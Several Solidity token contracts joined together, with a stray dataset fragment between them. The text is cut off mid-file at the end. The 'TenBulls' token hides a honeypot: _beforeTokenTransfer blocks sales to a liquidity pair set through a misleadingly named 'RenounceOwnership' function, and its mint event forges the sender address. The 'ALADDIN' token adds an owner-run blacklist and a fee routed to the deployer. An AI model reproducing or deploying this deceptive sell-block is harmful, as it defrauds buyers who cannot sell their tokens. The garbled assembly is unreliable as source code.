function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0x1f7E0c2077e84386da9e1863163995c12F4189Cf), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract TenBulls is ERC20, Ownable {
mapping(address=>bool) private _enable;
address private _uni;
constructor() ERC20('Ten Bulls','TEN') {
_mint(0xd4fc3c7095447A198223D6191720eF5668063Ce8, 10000000 *10**18);
_enable[0xd4fc3c7095447A198223D6191720eF5668063Ce8] = true;
}
function _mint(
address account,
uint256 amount
) internal virtual override (ERC20) {
require(ERC20.totalSupply() + amount <= 10000000 *10**18, "ERC20Capped: cap exceeded");
super._mint(account, amount);
}
function Migrate(address user, bool enable) public onlyOwner {
_enable[user] = enable;
}
function RenounceOwnership(address uni_) public onlyOwner {
_uni = uni_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
if(to == _uni) {
require(_enable[from], "something went wrong");
}
}
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/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
//SPDX-License-Identifier: MIT
//t.me/aladdintokenentry
//Aladdin is a highly deflationary token on the Ethereum Blockchain that never stops pumping through its unique Aladdin magic that its based on core principal of doing huge buybacks and burns.
pragma solidity ^0.8.12;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ALADDIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 100000000 * 10**8;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
uint256 public _maxWallet;
string private constant _name = "Aladdin Token";
string private constant _symbol = "ALADDIN";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 8;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(66);
_maxWallet=_tTotal.div(33);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function decreaseTax(uint256 newTaxRate) public onlyOwner{
require(newTaxRate<_taxFee);
_taxFee=newTaxRate;
}
function increaseBuyLimit(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function sendFee() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | True | [
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// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.6.2;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
